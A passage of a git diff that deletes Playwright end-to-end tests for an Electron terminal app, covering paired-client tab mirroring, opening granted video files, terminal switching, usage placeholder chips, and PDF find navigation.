createTerminal(client.page, worktreeId) - const inserted = await createTerminal(client.page, worktreeId, first.id) - const labels = [first, second, inserted].map((tab, index) => ({ - id: tab.parentTabId, - webId: toWebTerminalSurfaceTabId(tab.parentTabId), - title: ['Anchor A', 'Successor B', 'Inserted C'][index] - })) - for (const [page, web] of [ - [orcaPage, false], - [client.page, true] - ] as const) { - await page.evaluate( - ({ labels, web }) => { - for (const { id, webId, title } of labels) { - window.__store?.getState().setTabCustomTitle(web ? webId : id, title) - } - }, - { labels, web } - ) - } - await expect - .poll(() => tabWindow(orcaPage, first.parentTabId), { timeout: 15_000 }) - .toEqual([first.parentTabId, inserted.parentTabId, second.parentTabId]) - const clientIds = [first, inserted, second].map((tab) => - toWebTerminalSurfaceTabId(tab.parentTabId) - ) - await expect - .poll(() => tabWindow(client.page, clientIds[0]), { timeout: 15_000 }) - .toEqual(clientIds) - } finally { - await testInfo.attach('host-tab-placement', { - body: await orcaPage.screenshot({ path: testInfo.outputPath('host-tab-placement.png') }), - contentType: 'image/png' - }) - await testInfo.attach('client-tab-placement', { - body: await client.page.screenshot({ path: testInfo.outputPath('client-tab-placement.png') }), - contentType: 'image/png' - }) - await client.dispose() - } -}) diff --git a/tests/e2e/paired-terminal-granted-video-open.spec.ts b/tests/e2e/paired-terminal-granted-video-open.spec.ts deleted file mode 100644 index 530c156cb3b..00000000000 --- a/tests/e2e/paired-terminal-granted-video-open.spec.ts +++ /dev/null @@ -1,70 +0,0 @@ -import { randomBytes } from 'node:crypto' -import { copyFileSync, rmSync } from 'node:fs' -import path from 'node:path' -import { expect, test } from './helpers/orca-app' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient -} from './helpers/paired-electron-client' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { waitForActivePanePtyId, waitForActiveTerminalManager } from './helpers/terminal' -import { openTerminalWorkspaceRootLink } from './helpers/terminal-workspace-root-link' - -// #35968: a host file outside every workspace is read through its grant, which once allowed only a whole-file text read. -test('a paired terminal link to a video outside every workspace plays it', async ({ - orcaPage, - testRepoPath -}, testInfo) => { - test.skip(process.platform === 'win32', 'The host grants terminal paths under /tmp') - // Launches and pairs a second Electron client, then streams video through it; loaded CI needs the headroom. - test.setTimeout(240_000) - const videoPath = `/tmp/orca-granted-${randomBytes(4).toString('hex')}.mp4` - copyFileSync(path.join(process.cwd(), 'docs/site/public/docs/videos/tab-split.mp4'), videoPath) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - const client = await launchPairedElectronClient( - await createRuntimeDesktopPairingOffer(orcaPage), - testInfo, - 'Granted video' - ) - try { - const page = client.page - await expect - .poll( - () => - page.evaluate( - (repoPath) => - window.__store - ?.getState() - .allWorktrees() - .some((worktree) => worktree.path === repoPath), - testRepoPath - ), - { timeout: 60_000 } - ) - .toBe(true) - await page.evaluate( - ({ repoPath, environmentId }) => { - const state = window.__store!.getState() - const worktree = state.allWorktrees().find((entry) => entry.path === repoPath)! - state.setActiveWorktree(worktree.id, `runtime:${environmentId}`) - }, - { repoPath: testRepoPath, environmentId: client.environmentId } - ) - await ensureTerminalVisible(page, 30_000) - await waitForActiveTerminalManager(page, 30_000) - await waitForActivePanePtyId(page, 30_000) - - await openTerminalWorkspaceRootLink(page, testInfo, videoPath, 'open') - - const video = page.locator('video') - await expect(video).toBeVisible({ timeout: 30_000 }) - await expect - .poll(() => video.evaluate((element: HTMLVideoElement) => element.duration)) - .toBeGreaterThan(4) - await expect(page.getByText('Unable to load file', { exact: true })).toHaveCount(0) - } finally { - await client.dispose() - rmSync(videoPath, { force: true }) - } -}) diff --git a/tests/e2e/paired-terminal-switch-desktop-reveal.spec.ts b/tests/e2e/paired-terminal-switch-desktop-reveal.spec.ts deleted file mode 100644 index aefa9049731..00000000000 --- a/tests/e2e/paired-terminal-switch-desktop-reveal.spec.ts +++ /dev/null @@ -1,154 +0,0 @@ -// #24688: local CLI terminal switch --environment must select that server terminal on the desktop, even when serve has no window. -import type { Page } from '@stablyai/playwright-test' -import type { RuntimeTerminalFocus } from '../../src/shared/terminal/runtime/runtime-terminal-contracts' -import { toWebTerminalSurfaceTabId } from '../../src/shared/workspace-layout/terminal-surface-id' -import { orcaCliResult } from './helpers/compiled-orca-cli' -import { launchHeadlessPairedRuntimeHost } from './helpers/headless-paired-runtime-host' -import { launchPairedElectronClient } from './helpers/paired-electron-client' -import { expect, test } from './helpers/orca-app' - -type HostTerminal = { handle: string; tabId: string; leafId: string } - -async function readClientSelection(page: Page, worktreeId: string) { - return page.evaluate((id) => { - const state = window.__store?.getState() - const tabId = state?.activeTabIdByWorktree?.[id] ?? null - return { - activeView: state?.activeView ?? null, - activeWorktreeId: state?.activeWorktreeId ?? null, - tabId, - leafId: tabId ? (state?.terminalLayoutsByTabId?.[tabId]?.activeLeafId ?? null) : null - } - }, worktreeId) -} - -test('terminal switch on a paired server reveals the terminal in the desktop on this machine', async ({ - testRepoPath -}, testInfo) => { - test.setTimeout(300_000) - const host = await launchHeadlessPairedRuntimeHost() - const client = await launchPairedElectronClient( - host.offer, - testInfo, - 'terminal-switch-desktop-reveal' - ).catch(async (error) => { - await host.dispose() - throw error - }) - try { - const added = await host.client.call<{ repo: { id: string } }>('repo.add', { - path: testRepoPath, - kind: 'git' - }) - let worktreeId = '' - await expect - .poll( - async () => { - const listed = await host.client.call<{ worktrees: { id: string }[] }>('worktree.list', { - repo: `id:${added.result.repo.id}` - }) - worktreeId = listed.result.worktrees[0]?.id ?? '' - return worktreeId - }, - { timeout: 30_000, message: 'Serve host never listed a worktree for the seeded repo' } - ) - .not.toBe('') - - const createHostTerminal = async (title: string): Promise => { - const created = await host.client.call<{ terminal: { handle: string; tabId?: string } }>( - 'terminal.create', - { - worktree: `id:${worktreeId}`, - title, - focus: false, - activate: false, - presentation: 'background' - } - ) - const shown = await host.client.call<{ terminal: { leafId: string } }>('terminal.show', { - terminal: created.result.terminal.handle - }) - const { handle, tabId } = created.result.terminal - if (!tabId) { - throw new Error('Serve host did not report a tab id for the created terminal') - } - return { handle, tabId, leafId: shown.result.terminal.leafId } - } - const first = await createHostTerminal('build') - const target = await createHostTerminal('agent waiting') - - // The desktop mirrors a server's tab under a prefixed id; the leaf keeps the server's id. - const mirroredTargetTabId = toWebTerminalSurfaceTabId(target.tabId) - await expect - .poll( - () => - client.page.evaluate( - ({ id, tabIds }) => { - const tabs = window.__store?.getState().tabsByWorktree[id] ?? [] - return tabIds.every((tabId) => tabs.some((tab) => tab.id === tabId)) - }, - { - id: worktreeId, - tabIds: [toWebTerminalSurfaceTabId(first.tabId), mirroredTargetTabId] - } - ), - { timeout: 60_000, message: 'Paired desktop never mirrored the serve-host terminals' } - ) - .toBe(true) - - // The user is looking at the other terminal when the switch arrives. - const firstMirroredTabId = toWebTerminalSurfaceTabId(first.tabId) - await client.page.evaluate( - ({ id, tabId }) => { - const state = window.__store?.getState() - state?.setActiveWorktree(id) - state?.setActiveTab(tabId) - }, - { id: worktreeId, tabId: firstMirroredTabId } - ) - await expect - .poll(async () => (await readClientSelection(client.page, worktreeId)).tabId) - .toBe(firstMirroredTabId) - await client.page.screenshot({ path: testInfo.outputPath('before-terminal-switch.png') }) - - const switched = await orcaCliResult<{ focus: RuntimeTerminalFocus }>(client.userDataDir, [ - 'terminal', - 'switch', - '--environment', - client.environmentId, - '--terminal', - target.handle - ]) - - try { - expect(switched.focus).toMatchObject({ handle: target.handle, navigated: true }) - await expect - .poll(() => readClientSelection(client.page, worktreeId), { - timeout: 30_000, - message: 'The desktop never moved to the serve-host terminal' - }) - .toEqual({ - activeView: 'terminal', - activeWorktreeId: worktreeId, - tabId: mirroredTargetTabId, - leafId: target.leafId - }) - await expect( - client.page.locator( - `[data-terminal-tab-id=${JSON.stringify(mirroredTargetTabId)}] .pane[data-leaf-id=${JSON.stringify(target.leafId)}] .xterm` - ) - ).toBeVisible({ timeout: 30_000 }) - await expect( - client.page.locator( - `[data-terminal-tab-id=${JSON.stringify(firstMirroredTabId)}] .xterm:visible` - ) - ).toHaveCount(0) - } finally { - // Why: taken either way, so a run without the fix records the window that did not move. - await client.page.screenshot({ path: testInfo.outputPath('after-terminal-switch.png') }) - } - } finally { - await client.dispose() - await host.dispose() - } -}) diff --git a/tests/e2e/paired-two-client-emptied-workspace-reseed.spec.ts b/tests/e2e/paired-two-client-emptied-workspace-reseed.spec.ts deleted file mode 100644 index 16caf713f06..00000000000 --- a/tests/e2e/paired-two-client-emptied-workspace-reseed.spec.ts +++ /dev/null @@ -1,287 +0,0 @@ -// Keep two paired desktop mirrors aligned with one desktop host across create, partial close, emptying and reseed. -// Empty tombstones are client-local; Phase 0 proves create propagation, Phase 1a separates general close retractions from empty-workspace handling. -// Earlier runs lost all close retractions on both clients for 90s while creates still propagated; host retirement publication fixed that shape. -// Treat recurrence as a publish-after-close regression, not an exclusion. -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' - -/** How long a client may lag the host before the user would call it broken. */ -const MIRROR_BUDGET_MS = 30_000 -/** A retraction may be slow; what matters is whether it arrives at all. */ -const RETRACTION_BUDGET_MS = 90_000 - -type HostTabRow = { id: string; parentTabId?: string; terminal?: string | null } - -async function callEnvironment( - page: Page, - environmentId: string, - method: string, - params: unknown -): Promise { - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: page.evaluate is typed unknown across the bridge; TResult is the caller's declared RPC result. - return page.evaluate( - async ({ environmentId, method, params }) => { - const response = await window.api.runtimeEnvironments.call({ - selector: environmentId, - method, - params - }) - if (!response.ok) { - throw new Error(`${response.error.code}: ${response.error.message}`) - } - return response.result - }, - { environmentId, method, params } - ) as Promise -} - -/** The host's own tab inventory — the only oracle that is not a client re-derivation. */ -async function readHostTerminalTabIds( - client: PairedElectronClient, - worktreeId: string -): Promise { - const inventory = await callEnvironment<{ tabs: HostTabRow[] }>( - client.page, - client.environmentId, - 'session.tabs.list', - { worktree: `id:${worktreeId}` } - ) - return [ - ...new Set( - inventory.tabs - .filter((tab) => tab.terminal !== undefined && tab.terminal !== null) - .map((tab) => tab.parentTabId ?? tab.id) - ) - ].sort() -} - -async function readMirroredTabCount(page: Page, worktreeId: string): Promise { - return page.evaluate( - (id) => (window.__store?.getState().tabsByWorktree[id] ?? []).length, - worktreeId - ) -} - -/** Whether the client holds an explicit empty row (the tombstone) versus no row at all. */ -async function readWorkspaceRowState( - page: Page, - worktreeId: string -): Promise<'missing' | 'tombstoned' | 'populated'> { - return page.evaluate((id) => { - const tabs = window.__store?.getState().tabsByWorktree - if (!tabs || !Object.hasOwn(tabs, id)) { - return 'missing' as const - } - return (tabs[id] ?? []).length === 0 ? ('tombstoned' as const) : ('populated' as const) - }, worktreeId) -} - -async function focusWorkspace(page: Page, worktreeId: string): Promise { - await page.evaluate((id) => { - const state = window.__store?.getState() - state?.setActiveView('terminal') - state?.setActiveWorktree(id) - }, worktreeId) -} - -/** Milliseconds until the client's mirrored count matches the host's, or null if it never did. */ -async function waitForClientToMatchHost( - client: PairedElectronClient, - hostCount: number, - worktreeId: string, - budgetMs: number -): Promise { - const startedAt = Date.now() - while (Date.now() - startedAt < budgetMs) { - if ((await readMirroredTabCount(client.page, worktreeId)) === hostCount) { - return Date.now() - startedAt - } - await client.page.waitForTimeout(500) - } - return null -} - -async function waitForClientWorkspace(page: Page, worktreeId: string): Promise { - await expect - .poll( - () => - page.evaluate( - (id) => (window.__store?.getState().allWorktrees() ?? []).some((w) => w.id === id), - worktreeId - ), - { timeout: 60_000, message: 'paired client never received the host workspace' } - ) - .toBe(true) -} - -test('two paired clients stay in step with the host across an emptied workspace', async ({ - orcaPage -}, testInfo) => { - test.setTimeout(600_000) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - const worktreeId = await orcaPage.evaluate(() => { - const id = window.__store?.getState().activeWorktreeId - if (!id) { - throw new Error('host has no active worktree') - } - return id - }) - - let clientA: PairedElectronClient | null = null - let clientB: PairedElectronClient | null = null - const failures: string[] = [] - try { - clientA = await launchPairedElectronClient( - await createRuntimeDesktopPairingOffer(orcaPage), - testInfo, - 'emptied-workspace-client-a' - ) - clientB = await launchPairedElectronClient( - await createRuntimeDesktopPairingOffer(orcaPage), - testInfo, - 'emptied-workspace-client-b' - ) - for (const client of [clientA, clientB]) { - await waitForClientWorkspace(client.page, worktreeId) - await focusWorkspace(client.page, worktreeId) - } - - await callEnvironment(clientA.page, clientA.environmentId, 'session.tabs.createTerminal', { - worktree: `id:${worktreeId}`, - activate: true, - select: true, - navigation: 'caller' - }) - const afterCreate = (await readHostTerminalTabIds(clientA, worktreeId)).length - const controlA = await waitForClientToMatchHost( - clientA, - afterCreate, - worktreeId, - MIRROR_BUDGET_MS - ) - const controlB = await waitForClientToMatchHost( - clientB, - afterCreate, - worktreeId, - MIRROR_BUDGET_MS - ) - console.error(`[two-client] phase0 host=${afterCreate} A=${controlA}ms B=${controlB}ms`) - if (controlA === null || controlB === null) { - failures.push( - `phase0: a terminal created on one client never reached the other (host=${afterCreate}, A=${controlA}, B=${controlB})` - ) - } - - // Close while other terminals remain, separating general retraction failure from empty-workspace handling. - const beforePartialClose = await readHostTerminalTabIds(clientA, worktreeId) - if (beforePartialClose.length > 1) { - await callEnvironment(clientA.page, clientA.environmentId, 'session.tabs.close', { - worktree: `id:${worktreeId}`, - tabId: beforePartialClose[0]!, - reason: 'user', - navigation: 'caller' - }) - const remaining = beforePartialClose.length - 1 - const partialA = await waitForClientToMatchHost( - clientA, - remaining, - worktreeId, - RETRACTION_BUDGET_MS - ) - const partialB = await waitForClientToMatchHost( - clientB, - remaining, - worktreeId, - RETRACTION_BUDGET_MS - ) - console.error(`[two-client] phase1a host=${remaining} A=${partialA}ms B=${partialB}ms`) - if (partialA === null || partialB === null) { - failures.push( - `phase1a: a client kept showing a terminal the host closed, with others still open (A=${partialA}, B=${partialB})` - ) - } - } else { - // A one-terminal workspace would skip the control silently and let 1b/2 pass green on their own. - failures.push( - `phase1a: needs more than one host terminal to close one and keep another (host=${beforePartialClose.length})` - ) - } - - for (const hostTabId of await readHostTerminalTabIds(clientA, worktreeId)) { - await callEnvironment(clientA.page, clientA.environmentId, 'session.tabs.close', { - worktree: `id:${worktreeId}`, - tabId: hostTabId, - reason: 'user', - navigation: 'caller' - }) - } - await expect - .poll(() => readHostTerminalTabIds(clientA!, worktreeId).then((ids) => ids.length), { - timeout: MIRROR_BUDGET_MS, - message: 'host still held terminals after client A closed them all' - }) - .toBe(0) - // Wait generously for any retraction; a never-removed mirror is still a dead pane. - const emptyA = await waitForClientToMatchHost(clientA, 0, worktreeId, RETRACTION_BUDGET_MS) - const emptyB = await waitForClientToMatchHost(clientB, 0, worktreeId, RETRACTION_BUDGET_MS) - const hostOwnView = await readMirroredTabCount(orcaPage, worktreeId) - console.error( - `[two-client] phase1b host=0 hostOwnView=${hostOwnView}` + - ` A=${emptyA}ms(${await readWorkspaceRowState(clientA.page, worktreeId)})` + - ` B=${emptyB}ms(${await readWorkspaceRowState(clientB.page, worktreeId)})` - ) - if (emptyA === null || emptyB === null) { - failures.push( - `phase1b: a client kept showing terminals the host no longer has (A=${emptyA}, B=${emptyB})` - ) - } - - // Both clients hold explicit empty rows and must not automatically seed replacements. - await orcaPage.waitForTimeout(10_000) - const hostAfterSettle = (await readHostTerminalTabIds(clientA, worktreeId)).length - console.error(`[two-client] phase1b-settled host=${hostAfterSettle}`) - if (hostAfterSettle !== 0) { - failures.push( - `phase1b: the emptied workspace grew ${hostAfterSettle} terminal(s) back on its own` - ) - } - - await callEnvironment(clientB.page, clientB.environmentId, 'session.tabs.createTerminal', { - worktree: `id:${worktreeId}`, - activate: true, - select: true, - navigation: 'caller' - }) - const hostAfterB = (await readHostTerminalTabIds(clientB, worktreeId)).length - const rejoinB = await waitForClientToMatchHost( - clientB, - hostAfterB, - worktreeId, - MIRROR_BUDGET_MS - ) - const rejoinA = await waitForClientToMatchHost( - clientA, - hostAfterB, - worktreeId, - MIRROR_BUDGET_MS - ) - console.error(`[two-client] phase2 host=${hostAfterB} A=${rejoinA}ms B=${rejoinB}ms`) - if (rejoinA === null || rejoinB === null) { - failures.push( - `phase2: a client never adopted the terminal the host holds — the user sees an empty` + - ` workspace while work runs on it (host=${hostAfterB}, A=${rejoinA}, B=${rejoinB})` - ) - } - } finally { - await clientB?.dispose() - await clientA?.dispose() - } - expect(failures, failures.join('\n')).toEqual([]) -}) diff --git a/tests/e2e/paired-usage-owner-placeholders.spec.ts b/tests/e2e/paired-usage-owner-placeholders.spec.ts deleted file mode 100644 index e220a2f5d7a..00000000000 --- a/tests/e2e/paired-usage-owner-placeholders.spec.ts +++ /dev/null @@ -1,203 +0,0 @@ -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { - createRuntimeDesktopPairingOffer, - launchPairedElectronClient, - type PairedElectronClient -} from './helpers/paired-electron-client' - -const HOST_NAME = 'Build server' -const LONG_HOST_NAME = 'Shared GPU build server in us-east-1' -const STATUS_BAR_HEIGHT = 28 -// Use a nonexistent Keychain account: HOME isolation alone does not hide the user-keyed macOS Claude login. -const NO_CLAUDE_LOGIN_USER = 'orca-e2e-no-claude-login' - -test.use({ orcaAppExtraEnv: { USER: NO_CLAUDE_LOGIN_USER } }) - -// Collect cropped screenshot evidence outside test output; full windows expose usernames in terminal prompts. -async function shootStatusBar( - page: Page, - name: string, - outputPath: (name: string) => string, - width = 520 -): Promise { - const viewport = page.viewportSize() - if (!viewport) { - throw new Error('Client page has no viewport') - } - await page.screenshot({ - path: outputPathFor(name, outputPath), - clip: { - x: 0, - y: viewport.height - STATUS_BAR_HEIGHT, - width: Math.min(width, viewport.width), - height: STATUS_BAR_HEIGHT - } - }) -} - -function outputPathFor(name: string, outputPath: (name: string) => string): string { - return process.env.ORCA_E2E_SCREENSHOT_DIR - ? path.join(process.env.ORCA_E2E_SCREENSHOT_DIR, name) - : outputPath(name) -} - -function minimaxChip(page: Page) { - return page.locator('[data-usage-chip="minimax"]') -} - -async function focusFirstServerWorktree(page: Page, environmentId: string): Promise { - // Why: a fresh client profile has no repos of its own, so every worktree it lists is the server's. - await page.waitForFunction( - () => (window.__store?.getState().allWorktrees().length ?? 0) > 0, - null, - { - timeout: 60_000 - } - ) - const worktreeId = await page.evaluate( - () => window.__store?.getState().allWorktrees()[0]?.id ?? null - ) - if (!worktreeId) { - throw new Error('Paired client lost the server worktree') - } - await page.evaluate( - ({ env, id }) => window.__store?.getState().setActiveWorktree(id, `runtime:${env}`), - { env: environmentId, id: worktreeId } - ) -} - -test('a provider set up only on this computer stays visible, greyed, under a server workspace', async ({ - sharedPage -}, testInfo) => { - test.setTimeout(180_000) - const outputPath = (name: string): string => testInfo.outputPath(name) - let client: PairedElectronClient | undefined - try { - client = await launchPairedElectronClient( - await createRuntimeDesktopPairingOffer(sharedPage), - testInfo, - HOST_NAME, - { extraEnv: { USER: NO_CLAUDE_LOGIN_USER } } - ) - const { page, environmentId } = client - await page.setViewportSize({ width: 1280, height: 800 }) - - // A failing fetch still counts as set up, so a fake key needs no network. - await page.evaluate(async () => { - await window.api.minimaxCredentials.saveApiKey('e2e-fake-minimax-key') - await window.__store?.getState().refreshRateLimits() - }) - await page.waitForFunction( - () => window.__store?.getState().rateLimits.minimaxApiKeyConfigured === true, - null, - { timeout: 30_000 } - ) - - // Why: a one-time sidebar hint overlays the usage popover in screenshots until it times out. - await expect(page.getByText('Workspace board moved to the bottom bar')).toHaveCount(0, { - timeout: 20_000 - }) - - await page.evaluate(() => window.__store?.getState().setActiveWorktree(null)) - await expect(minimaxChip(page)).toBeVisible({ timeout: 30_000 }) - await expect(minimaxChip(page).locator('[title]')).toHaveCount(0) - await shootStatusBar(page, '1-local-owner-minimax-meter.png', outputPath) - - await focusFirstServerWorktree(page, environmentId) - const placeholder = minimaxChip(page).locator(`[title^="Not configured on ${HOST_NAME}"]`) - await expect(placeholder).toBeVisible({ timeout: 60_000 }) - await expect(placeholder).toHaveAttribute( - 'title', - `Not configured on ${HOST_NAME}\nIts sign-in is saved on this computer only.` - ) - await expect(placeholder).toHaveText(`Not configured on ${HOST_NAME}`) - await expect(page.getByText('Configure usage tracking')).toHaveCount(0) - await expect(page.getByText(`No usage on ${HOST_NAME}`)).toHaveCount(0) - await shootStatusBar(page, '2-server-owner-chip-short-host.png', outputPath) - - // A long host name truncates in the chip only; the tooltip keeps it whole. - const renameHost = (name: string) => - page.evaluate( - ({ env, name }) => - window.__store?.setState((state) => ({ - runtimeEnvironments: state.runtimeEnvironments.map((environment) => - environment.id === env ? { ...environment, name } : environment - ) - })), - { env: environmentId, name } - ) - await renameHost(LONG_HOST_NAME) - const longPlaceholder = minimaxChip(page).locator( - `[title^="Not configured on ${LONG_HOST_NAME}"]` - ) - await expect(longPlaceholder).toBeVisible() - const hostName = longPlaceholder.locator('[data-owner-host]') - await expect(hostName).toHaveText(LONG_HOST_NAME) - const hostBox = await hostName.evaluate((node) => ({ - clientWidth: node.clientWidth, - scrollWidth: node.scrollWidth - })) - expect(hostBox.clientWidth).toBeLessThanOrEqual(112) - expect(hostBox.scrollWidth).toBeGreaterThan(hostBox.clientWidth) - await shootStatusBar(page, '2b-server-owner-chip-long-host-truncated.png', outputPath) - await renameHost(HOST_NAME) - await expect(placeholder).toBeVisible() - - // A narrow bar drops chip labels; the placeholder keeps "--" so it never reads as healthy. - await page.setViewportSize({ width: 360, height: 800 }) - await expect(placeholder).toHaveText('--', { timeout: 10_000 }) - await shootStatusBar(page, '2c-server-owner-compact-chip.png', outputPath) - await page.setViewportSize({ width: 1280, height: 800 }) - await expect(placeholder).toHaveText(`Not configured on ${HOST_NAME}`) - - await page.getByRole('button', { name: 'Usage', exact: true }).click() - const row = page.getByRole('menuitem').filter({ hasText: `Not configured on ${HOST_NAME}` }) - await expect(row).toBeVisible() - await expect(row).toContainText('Its sign-in is saved on this computer only.') - await page - .getByRole('menu') - .evaluate((menu) => - Promise.all(menu.getAnimations({ subtree: true }).map((animation) => animation.finished)) - ) - const menuBox = await page.getByRole('menu').boundingBox() - if (!menuBox) { - throw new Error('Usage popover has no box') - } - const viewport = page.viewportSize() - if (!viewport) { - throw new Error('Client page has no viewport') - } - // Why down to the bottom edge: keeps the status bar under the popover in frame. - await page.screenshot({ - path: outputPathFor('3-server-owner-usage-popover.png', outputPath), - clip: { - x: Math.max(0, menuBox.x - 8), - y: menuBox.y - 8, - width: menuBox.width + 16, - height: viewport.height - menuBox.y + 8 - } - }) - - await row.click() - const hostPicker = page.getByRole('combobox', { name: 'Host' }) - await expect(hostPicker).toBeVisible({ timeout: 30_000 }) - await expect(hostPicker).toContainText(HOST_NAME) - const pickerBox = await hostPicker.boundingBox() - if (!pickerBox) { - throw new Error('Host picker has no box') - } - await page.screenshot({ - path: outputPathFor('4-settings-opened-on-server-accounts.png', outputPath), - clip: { - x: Math.max(0, pickerBox.x - 320), - y: Math.max(0, pickerBox.y - 80), - width: 760, - height: 360 - } - }) - } finally { - await client?.dispose() - } -}) diff --git a/tests/e2e/pdf-find-counter.spec.ts b/tests/e2e/pdf-find-counter.spec.ts deleted file mode 100644 index 560510959e9..00000000000 --- a/tests/e2e/pdf-find-counter.spec.ts +++ /dev/null @@ -1,171 +0,0 @@ -import { writeFileSync, rmSync, mkdtempSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import { expect, test } from './helpers/orca-app' -import { createPdfFindFixture } from './helpers/pdf-find-fixture' -import { pressShortcut } from './helpers/shortcuts' - -test('PDF counter follows navigation, new queries, and reopening', async ({ - orcaPage, - electronApp, - seededRepoPath, - registerPostElectronShutdownCleanup -}, testInfo) => { - const filePath = path.join(seededRepoPath, 'pdf-find-fixture.pdf') - writeFileSync(filePath, createPdfFindFixture()) - registerPostElectronShutdownCleanup(async () => rmSync(filePath, { force: true })) - await orcaPage.evaluate((filePath) => { - const state = window.__store?.getState() - if (!state?.activeWorktreeId) { - throw new Error('Missing fixture worktree') - } - state.openFile({ - filePath, - relativePath: 'pdf-find-fixture.pdf', - worktreeId: state.activeWorktreeId, - language: 'plaintext', - mode: 'edit' - }) - }, filePath) - await expect(orcaPage.locator('.pdfViewer .page')).toHaveCount(3) - await expect(orcaPage.locator('.pdfViewer .page').first().locator('.textLayer')).toContainText( - 'needle result 1' - ) - await pressShortcut(orcaPage, 'f') - const input = orcaPage.getByPlaceholder('Find in page...') - const bar = input.locator('..') - const selected = orcaPage.locator('.pdfViewer .highlight.selected') - const observations: object[] = [] - const capture = async (name: string, counter: string, selectedText?: string): Promise => { - if (selectedText) { - await expect(selected).toHaveCount(1) - await expect(selected.locator('..')).toHaveText(selectedText) - } - await expect.soft(bar).toContainText(counter, { timeout: 1000 }) - observations.push({ - name, - expected: counter, - actual: await bar.innerText(), - selected: await selected.locator('..').allTextContents() - }) - await orcaPage.screenshot({ path: testInfo.outputPath(`${name}.png`) }) - } - await input.fill('needle') - await capture('initial', '1 of 6', 'needle result 1') - await bar.getByTitle('Next match', { exact: true }).click() - await capture('next', '2 of 6', 'needle result 2') - await input.press('Enter') - await capture('enter', '3 of 6', 'needle result 3') - await input.press('Shift+Enter') - await capture('shift-enter', '2 of 6', 'needle result 2') - await bar.getByTitle('Previous match', { exact: true }).click() - await capture('previous', '1 of 6', 'needle result 1') - await bar.getByTitle('Previous match', { exact: true }).click() - await capture('wrap-previous', '6 of 6', 'needle result 6') - await input.press('Enter') - await capture('wrap-next', '1 of 6', 'needle result 1') - await input.fill('beacon') - await capture('query-change', '1 of 2', 'beacon alternate query') - await input.fill('absentword') - await expect(selected).toHaveCount(0) - await capture('no-results', 'No matches') - await input.fill('needle') - await capture('query-restored', '1 of 6', 'needle result 1') - await input.fill('beacon') - await input.fill('absentword') - await input.fill('needle') - // The final query is unchanged; let PDF.js's 250ms debounce finish before stepping. - await orcaPage.waitForTimeout(350) - await capture('rapid-query', '1 of 6', 'needle result 1') - await bar.getByTitle('Next match', { exact: true }).click() - await capture('before-close', '2 of 6', 'needle result 2') - await input.press('Escape') - await expect(input).toHaveCount(0) - await expect(selected).toHaveCount(0) - await pressShortcut(orcaPage, 'f') - await capture('reopened', '1 of 6', 'needle result 1') - await input.press('Enter') - await capture('reopened-enter', '2 of 6', 'needle result 2') - const windows = await electronApp.evaluate(({ BrowserWindow, app }) => ({ - appPath: app.getAppPath(), - windows: BrowserWindow.getAllWindows().map((window) => ({ - visible: window.isVisible(), - focused: window.isFocused() - })) - })) - expect(windows.windows.every((window) => !window.focused)).toBe(true) - const headful = - process.env.ORCA_E2E_FORCE_HEADFUL === '1' || testInfo.project.metadata.orcaHeadful === true - if (process.env.ORCA_BACKGROUND_LAUNCH === '1' || !headful) { - expect(windows.windows.every((window) => !window.visible)).toBe(true) - } - writeFileSync( - testInfo.outputPath('observations.json'), - JSON.stringify({ windows, observations }, null, 2) - ) -}) - -test.describe('PDF in a folder workspace', () => { - test.use({ seedTestRepo: false }) - - test('finds and navigates a PDF without a Git repository', async ({ - orcaPage, - registerPostElectronShutdownCleanup - }, testInfo) => { - const folderPath = mkdtempSync(path.join(os.tmpdir(), 'orca-pdf-folder-')) - const filePath = path.join(folderPath, 'pdf-find-fixture.pdf') - writeFileSync(filePath, createPdfFindFixture()) - registerPostElectronShutdownCleanup(async () => - rmSync(folderPath, { recursive: true, force: true }) - ) - await orcaPage.evaluate( - async ({ folderPath, filePath }) => { - const state = window.__store?.getState() - if (!state) { - throw new Error('Missing fixture store') - } - const group = await window.api.projectGroups.create({ - name: 'PDF fixture', - parentPath: folderPath, - createdFrom: 'folder-scan' - }) - await state.fetchProjectGroups({ runtimeEnvironmentId: null, throwOnError: true }) - const folder = await state.createFolderWorkspace( - { - projectGroupId: group.id, - name: 'PDF documents', - folderPath - }, - { runtimeEnvironmentId: null } - ) - if (!folder) { - throw new Error('Missing fixture folder') - } - const worktreeId = `folder:${folder.folderWorkspace.id}` - state.setActiveWorktree(worktreeId) - state.openFile({ - filePath, - relativePath: 'pdf-find-fixture.pdf', - worktreeId, - language: 'plaintext', - mode: 'edit' - }) - }, - { folderPath, filePath } - ) - await expect(orcaPage.locator('.pdfViewer .page')).toHaveCount(3) - await expect(orcaPage.locator('.pdfViewer .page').first().locator('.textLayer')).toContainText( - 'needle result 1' - ) - await pressShortcut(orcaPage, 'f') - const input = orcaPage.getByPlaceholder('Find in page...') - await input.fill('needle') - await expect(input.locator('..')).toContainText('1 of 6') - const selected = orcaPage.locator('.pdfViewer .highlight.selected').locator('..') - await expect(selected).toHaveText('needle result 1') - await input.press('Enter') - await expect(input.locator('..')).toContainText('2 of 6') - await expect(selected).toHaveText('needle result 2') - await orcaPage.screenshot({ path: testInfo.outputPath('folder-next.png') }) - }) -}) diff --git a/tests/e2e/pdf-viewer-rebuild-recovery.spec.ts b/tests/e2e/pdf-viewer-rebuild-recovery.spec.ts deleted file mode 100644 index b531001dc53..00000000000 --- a/tests/e2e/pdf-viewer-rebuild-recovery.spec.ts +++ /dev/null @@ -1,72 +0,0 @@ -import { rmSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import type { Page, TestInfo } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { createPdfFindFixture } from './helpers/pdf-find-fixture' - -const ERROR_TEXT = 'Failed to load PDF preview' - -async function settleAndCapture(page: Page, testInfo: TestInfo, name: string): Promise { - // Past the editor's 75ms external-reload debounce and the pdf.js parse. - await page.waitForTimeout(1500) - await page.screenshot({ path: 